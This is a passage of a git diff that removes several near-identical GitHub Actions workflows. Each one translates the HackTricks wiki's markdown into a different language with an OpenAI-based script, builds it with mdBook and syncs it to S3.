|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_ko.yml
vendored
119
.github/workflows/translate_ko.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to KO (Korean)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: ko
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Korean
|
|
||||||
BRANCH: ko
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_pl.yml
vendored
119
.github/workflows/translate_pl.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to PL (Polish)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: pl
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Polish
|
|
||||||
BRANCH: pl
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_pt.yml
vendored
119
.github/workflows/translate_pt.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to PT (Portuguese)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: pt
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Portuguese
|
|
||||||
BRANCH: pt
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_sr.yml
vendored
119
.github/workflows/translate_sr.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to SR (Serbian)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: sr
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Serbian
|
|
||||||
BRANCH: sr
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_sw.yml
vendored
119
.github/workflows/translate_sw.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to SW (Swahili)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: sw
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Swahili
|
|
||||||
BRANCH: sw
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_tr.yml
vendored
119
.github/workflows/translate_tr.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to TR (Turkish)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: tr
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Turkish
|
|
||||||
BRANCH: tr
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
- name: Update & install wget & translator.py
|
|
||||||
run: |
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install wget -y
|
|
||||||
mkdir scripts
|
|
||||||
cd scripts
|
|
||||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
|
||||||
cd ..
|
|
||||||
|
|
||||||
- name: Download language branch #Make sure we have last version
|
|
||||||
run: |
|
|
||||||
git config --global user.name 'Translator'
|
|
||||||
git config --global user.email 'github-actions@github.com'
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git pull
|
|
||||||
git checkout master
|
|
||||||
|
|
||||||
- name: Run translation script on changed files
|
|
||||||
run: |
|
|
||||||
echo "Starting translations"
|
|
||||||
echo "Commit: $GITHUB_SHA"
|
|
||||||
|
|
||||||
# Export the OpenAI API key as an environment variable
|
|
||||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
|
||||||
|
|
||||||
# Run the translation script on each changed file
|
|
||||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
|
||||||
if echo "$file" | grep -qE '\.md$'; then
|
|
||||||
echo -n "$file , " >> /tmp/file_paths.txt
|
|
||||||
else
|
|
||||||
echo "Skipping $file"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
|
||||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
|
||||||
|
|
||||||
# Push changes to the repository
|
|
||||||
- name: Commit and push changes
|
|
||||||
run: |
|
|
||||||
git checkout "$BRANCH"
|
|
||||||
git add -A
|
|
||||||
git commit -m "Translated $BRANCH files" || true
|
|
||||||
git push --set-upstream origin "$BRANCH"
|
|
||||||
|
|
||||||
# Build the mdBook
|
|
||||||
- name: Build mdBook
|
|
||||||
run: mdbook build
|
|
||||||
|
|
||||||
# Login in AWs
|
|
||||||
- name: Configure AWS credentials using OIDC
|
|
||||||
uses: aws-actions/configure-aws-credentials@v3
|
|
||||||
with:
|
|
||||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
|
||||||
aws-region: us-east-1
|
|
||||||
|
|
||||||
# Sync the build to S3
|
|
||||||
- name: Sync to S3
|
|
||||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
|
119
.github/workflows/translate_uk.yml
vendored
119
.github/workflows/translate_uk.yml
vendored
@ -1,119 +0,0 @@
|
|||||||
name: Translator to UK (Ukranian)
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'scripts/**'
|
|
||||||
- '.gitignore'
|
|
||||||
- '.github/**'
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
concurrency: uk
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
id-token: write
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
run-translation:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
environment: prod
|
|
||||||
env:
|
|
||||||
LANGUAGE: Ukranian
|
|
||||||
BRANCH: uk
|
|
||||||
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
|
||||||
|
|
||||||
- name: Set up Python
|
|
||||||
uses: actions/setup-python@v2
|
|
||||||
with:
|
|
||||||
python-version: 3.12
|
|
||||||
|
|
||||||
- name: Install python dependencies
|
|
||||||
run: |
|
|
||||||
python -m pip install --upgrade pip
|
|
||||||
pip3 install openai tqdm tiktoken
|
|
||||||
|
|
||||||
# Install Rust and Cargo
|
|
||||||
- name: Install Rust and Cargo
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
|
|
||||||
# Install mdBook and Plugins
|
|
||||||
- name: Install mdBook and Plugins
|
|
||||||
run: |
|
|
||||||
cargo install mdbook
|
|
||||||
cargo install mdbook-alerts
|
|
||||||
cargo install mdbook-reading-time
|
|
||||||
cargo install mdbook-pagetoc
|
|
||||||
cargo install mdbook-tabs
|
|
||||||
cargo install mdbook-codename
|
|
||||||
|
|
||||||
|
|
||||||
